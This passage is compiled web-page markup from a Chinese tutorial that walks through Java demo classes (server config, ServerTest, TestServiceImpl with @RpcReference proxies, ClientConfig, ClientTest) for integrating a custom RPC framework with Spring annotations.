"),t("p",[s._v("(2)创建服务提供者demo的配置类ServerConfig,在ServerConfig类中注入RegistryService注册中心接口的实现类,以及RPC服务提供者的核心类RpcServer,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description 基于注解的配置类\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Configuration")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@ComponentScan")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("value "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.rpc.demo"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@PropertySource")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("value "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"classpath:rpc.properties"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("SpringAnnotationProviderConfig")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Value")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"${registry.address}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" registryAddress"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Value")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"${registry.type}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" registryType"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Value")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"${registry.loadbalance.type}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" registryLoadbalanceType"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Value")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"${server.address}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" serverAddress"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Value")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"${reflect.type}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" reflectType"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Bean")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RpcSpringServer")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("rpcSpringServer")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RpcSpringServer")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("serverAddress"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" registryAddress"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" registryType"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" registryLoadbalanceType"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" reflectType"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br"),t("span",{staticClass:"line-number"},[s._v("26")]),t("br"),t("span",{staticClass:"line-number"},[s._v("27")]),t("br"),t("span",{staticClass:"line-number"},[s._v("28")]),t("br"),t("span",{staticClass:"line-number"},[s._v("29")]),t("br"),t("span",{staticClass:"line-number"},[s._v("30")]),t("br")])]),t("p",[s._v("(3)创建服务提供者demo的启动类ServerTest,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description RPC整合Spring注解,服务提供者demo启动类\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ServerTest")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("main")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" args"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AnnotationConfigApplicationContext")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ServerConfig")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br")])]),t("h4",{attrs:{id:"实现服务调用者demo"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#实现服务调用者demo"}},[s._v("#")]),s._v(" 实现服务调用者demo")]),s._v(" "),t("p",[s._v("(1)创建测试服务调用者的TestService接口,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("interface")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("TestService")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("printResult")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("p",[s._v("(2)创建TestService接口的实现类TestServiceImpl,在TestServiceImpl类上标注Spring的"),t("code",[s._v("@Service")]),s._v("注解,并在TestServiceImpl类中通过"),t("code",[s._v("@RpcReference")]),s._v("注解注入HelloService接口的实现类和HelloPersonService接口的实现类,并实现TestService接口的printResult()方法,源码如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description 测试RPC服务调用者\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Service")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("TestServiceImpl")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("implements")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("TestService")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@RpcReference")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("version "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"1.0.0"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" timeout "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("3000")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" proxy "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"javassist"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" isAsync "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("true")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloService")]),s._v(" helloService"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n \n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@RpcReference")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("proxy "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"cglib"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloPersonService")]),s._v(" helloPersonService"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("printResult")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" result "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" helloService"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("hello")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("result"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n result "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" helloService"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("hello")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Person")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe001"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe002"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("result"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"================================="')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("List")]),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Person")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" personList "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" helloPersonService"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getTestPerson")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("2")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n personList"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("stream")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("forEach")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("::")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br")])]),t("p",[s._v("通过TestServiceImpl类的源码我们可以看到,远程调用HelloService接口的方法时使用的是javassist动态代理,远程调用HelloPersonService接口时,使用的是cglib动态代理。")]),s._v(" "),t("p",[s._v("(3)创建服务调用者demo的配置类ClientConfig,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Configuration")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@ComponentScan")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("value "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.rpc.*"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@PropertySource")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("value "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"classpath:rpc.properties"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ClientConfig")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br")])]),t("p",[s._v("(4)创建服务调用者demo的启动类ClientTest,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ClientTest")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("main")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" args"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AnnotationConfigApplicationContext")]),s._v(" context "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AnnotationConfigApplicationContext")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ClientConfig")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("TestService")]),s._v(" testService "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" context"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getBean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("TestService")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n testService"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("printResult")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n context"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token 